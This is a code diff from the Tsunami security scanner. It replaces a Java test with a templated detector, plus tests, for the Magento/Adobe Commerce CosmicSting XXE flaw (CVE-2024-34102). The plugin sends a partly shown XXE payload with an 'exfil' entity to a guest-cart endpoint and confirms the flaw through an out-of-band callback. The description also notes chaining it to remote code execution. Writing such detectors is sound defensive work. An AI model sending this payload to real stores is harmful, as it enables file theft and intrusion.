- public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability()
- throws IOException {
- ImmutableList httpServices = mockWebServerSetup(true);
- TargetInfo targetInfo =
- TargetInfo.newBuilder()
- .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
- .build();
-
- createInjector(true);
- mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse());
-
- DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
-
- DetectionReport expectedDetection =
- generateDetectionReportWithCallback(detector, targetInfo, httpServices.get(0));
- assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection);
- assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1);
- }
-
- @Test
- public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability()
- throws IOException {
- ImmutableList httpServices = mockWebServerSetup(true);
- TargetInfo targetInfo =
- TargetInfo.newBuilder()
- .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
- .build();
-
- createInjector(false);
-
- DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
-
- DetectionReport expectedDetection =
- generateDetectionReportWithResponseMatching(detector, targetInfo, httpServices.get(0));
- assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection);
- assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0);
- }
-
- @Test
- public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException {
- ImmutableList httpServices = mockWebServerSetup(false);
- TargetInfo targetInfo =
- TargetInfo.newBuilder()
- .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
- .build();
-
- createInjector(true);
- mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse());
-
- DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
-
- assertThat(detectionReports.getDetectionReportsList()).isEmpty();
- assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1);
- }
-
- @Test
- public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability()
- throws IOException {
- ImmutableList httpServices = mockWebServerSetup(false);
- TargetInfo targetInfo =
- TargetInfo.newBuilder()
- .addNetworkEndpoints(forHostname(mockWebServer.getHostName()))
- .build();
-
- createInjector(false);
-
- DetectionReportList detectionReports = detector.detect(targetInfo, httpServices);
-
- assertThat(detectionReports.getDetectionReportsList()).isEmpty();
- assertThat(mockWebServer.getRequestCount()).isEqualTo(3);
- assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0);
- }
-
- private DetectionReport generateDetectionReportWithCallback(
- MagentoCosmicStingXxe detector, TargetInfo targetInfo, NetworkService networkService) {
- String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION;
-
- return DetectionReport.newBuilder()
- .setTargetInfo(targetInfo)
- .setNetworkService(networkService)
- .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli()))
- .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
- .setVulnerability(detector.getAdvisory(Severity.CRITICAL, additionalDetails))
- .build();
- }
-
- private DetectionReport generateDetectionReportWithResponseMatching(
- MagentoCosmicStingXxe detector, TargetInfo targetInfo, NetworkService networkService) {
- String additionalDetails = "Magento version: " + MOCK_MAGENTO_VERSION;
-
- return DetectionReport.newBuilder()
- .setTargetInfo(targetInfo)
- .setNetworkService(networkService)
- .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli()))
- .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
- .setVulnerability(detector.getAdvisory(Severity.HIGH, additionalDetails))
- .build();
- }
-
- private ImmutableList mockWebServerSetup(boolean isVulnerable)
- throws IOException {
- mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable));
- mockWebServer.start();
- return ImmutableList.of(
- NetworkService.newBuilder()
- .setNetworkEndpoint(
- forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort()))
- .setTransportProtocol(TransportProtocol.TCP)
- .setServiceName("http")
- .build());
- }
-
- static final class EndpointDispatcher extends Dispatcher {
- EndpointDispatcher(boolean isVulnerable) {
- this.isVulnerable = isVulnerable;
- }
-
- private final boolean isVulnerable;
-
- @Override
- public MockResponse dispatch(RecordedRequest recordedRequest) {
-
- if (recordedRequest.getMethod().equals("GET")
- && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT_PATH)) {
- // Version detection request
- return new MockResponse()
- .setResponseCode(HttpStatus.OK.code())
- .setBody(MOCK_MAGENTO_VERSION);
- } else if (recordedRequest.getMethod().equals("GET")
- && recordedRequest.getPath().equals("/" + CURRENCY_ENDPOINT_PATH)) {
- // Magento identification request
- return new MockResponse()
- .setResponseCode(HttpStatus.OK.code())
- .setHeader("Content-Type", "application/json; charset=utf-8")
- .setBody(MOCK_CURRENCY_ENDPOINT_RESPONSE);
- } else if (recordedRequest.getMethod().equals("POST")
- && recordedRequest.getPath().equals("/" + VULNERABLE_ENDPOINT_PATH)) {
- // Exploit attempt
- if (isVulnerable) {
- return new MockResponse()
- .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code())
- .setBody(VULNERABLE_INSTANCE_RESPONSE);
- } else {
- return new MockResponse()
- .setResponseCode(HttpStatus.BAD_REQUEST.code())
- .setBody(PATCHED_INSTANCE_RESPONSE);
- }
- } else {
- // Anything else, return a 404
- return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code());
- }
- }
- }
-}
diff --git a/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto
new file mode 100644
index 000000000..cb3471c63
--- /dev/null
+++ b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto
@@ -0,0 +1,134 @@
+# proto-file: proto/templated_plugin.proto
+# proto-message: TemplatedPlugin
+
+###############
+# PLUGIN INFO #
+###############
+
+info: {
+ type: VULN_DETECTION
+ name: "MagentoCosmicSting_CVE_2024_34102"
+ author:
+ "Robert Dick (robert@doyensec.com) for the Templated version,"
+ " Savino Sisco (savio@doyensec.com) for the original Java version"
+ version: "2.0"
+}
+
+
+finding: {
+ main_id: {
+ publisher: "TSUNAMI_COMMUNITY"
+ value: "CVE_2024_34102"
+ }
+ severity: CRITICAL
+ title: "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)"
+ description:
+ "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE"
+ " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated"
+ " HTTP request with a crafted XML file that references external entities; when the"
+ " request payload is deserialized, the attacker can extract sensitive files from the"
+ " system and gain administrative access to the software. Remote Code Execution (RCE)"
+ " can be accomplished by combining this issue with another vulnerability, such as the"
+ " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to"
+ " achieve RCE on unpatched Magento is publicly available.\n"
+ "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or"
+ " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more"
+ " information.\n Credit to Assetnote for the public POC: "
+ " https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102 \n"
+ recommendation:
+ "Install the latest security patches and rotate your encryption keys. More detailed"
+ " instructions can be found in the official Adobe security bulletin:"
+ " https://helpx.adobe.com/security/products/magento/apsb24-40.html."
+ related_id: {
+ publisher: "CVE"
+ value: "CVE-2024-34102"
+ }
+}
+
+
+###########
+# ACTIONS #
+###########
+
+actions: {
+ name: "fingerprint_magento"
+ http_request: {
+ method: GET
+ uri: "/rest/default/V1/directory/currency"
+ response: {
+ http_status: 200
+ expect_any: {
+ conditions: [
+ { body: {} contains: "base_currency_code" }
+ ]
+ }
+ }
+ }
+}
+
+# we don't care about the response for this request since
+# we can check callback server
+
+actions: {
+ name: "send_xxe_payload"
+ http_request: {
+ method: POST
+ uri: "/rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods"
+ headers: [
+ { name: "User-Agent" value: "TSUNAMI_SCANNER"},
+ { name: "Content-Type" value: "application/json"}
+ ]
+ data:
+ '{'
+ ' "address": {'
+ ' "totalsReader": {'
+ ' "collectorList": {'
+ ' "totalCollector": {'
+ ' "sourceData": {'
+ ' "data": "%sp;'
+ '%param1;]>&exfil;",'
+ ' "options": 16'
+ ' }'
+ ' }'
+ ' }'
+ ' }'
+ ' }'
+ '}'
+ }
+}
+
+
+# OOB sleep and check callback server steps
+# since we already fingerprinted we can do a long sleep here.
+
+actions: {
+ name: "sleep"
+ utility: { sleep: { duration_ms: 5000 } }
+}
+actions: {
+ name: "check_callback_server_logs"
+ callback_server: { action_type: CHECK }
+}
+
+
+#############
+# WORKFLOWS #
+#############
+
+# This is only out of band detection. For non-oob checks, the original
+# plugin matched responses that could have different codes, so that part
+# isn't feasible yet in the template engine.
+
+workflows: {
+ condition: REQUIRES_CALLBACK_SERVER
+ actions: [
+ "fingerprint_magento",
+ "send_xxe_payload",
+ "sleep",
+ "check_callback_server_logs"
+ ]
+}
+
diff --git a/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto
new file mode 100644
index 000000000..027435159
--- /dev/null
+++ b/templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto
@@ -0,0 +1,86 @@
+# proto-file: proto/templated_plugin_tests.proto
+# proto-message: TemplatedPluginTests
+
+config: {
+ tested_plugin: "MagentoCosmicSting_CVE_2024_34102"
+}
+
+tests: {
+ name: "whenOobVulnerable_returnsTrue"
+ expect_vulnerability: true
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: true
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/rest/default/V1/directory/currency"
+ status: 200
+ body_content:
+ '{"base_currency_code":"USD","base_currency_symbol":"$"'
+ ',"default_display_currency_code":"USD","default_displa'
+ 'y_currency_symbol":"$","available_currency_codes":["US'
+ 'D","EUR"],"exchange_rates":[{"currency_to":"USD","rate'
+ '":1},{"currency_to":"EUR","rate":0.7067}]}'
+ },
+ {
+ uri: "TSUNAMI_MAGIC_ANY_URI"
+ status: 200
+ body_content: ' ... '
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenOobNotVulnerable_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: false
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "/rest/default/V1/directory/currency"
+ status: 200
+ body_content:
+ '{"base_currency_code":"USD","base_currency_symbol":"$"'
+ ',"default_display_currency_code":"USD","default_displa'
+ 'y_currency_symbol":"$","available_currency_codes":["US'
+ 'D","EUR"],"exchange_rates":[{"currency_to":"USD","rate'
+ '":1},{"currency_to":"EUR","rate":0.7067}]}'
+ },
+ {
+ uri: "TSUNAMI_MAGIC_ANY_URI"
+ status: 200
+ body_content: ' ... '
+ }
+ ]
+ }
+}
+
+tests: {
+ name: "whenRandomServer_returnsFalse"
+ expect_vulnerability: false
+
+ mock_callback_server: {
+ enabled: true
+ has_interaction: false
+ }
+
+ mock_http_server: {
+ mock_responses: [
+ {
+ uri: "TSUNAMI_MAGIC_ANY_URI"
+ status: 200
+ body_content: "Login to your Drupal account"
+ }
+ ]
+ }
+}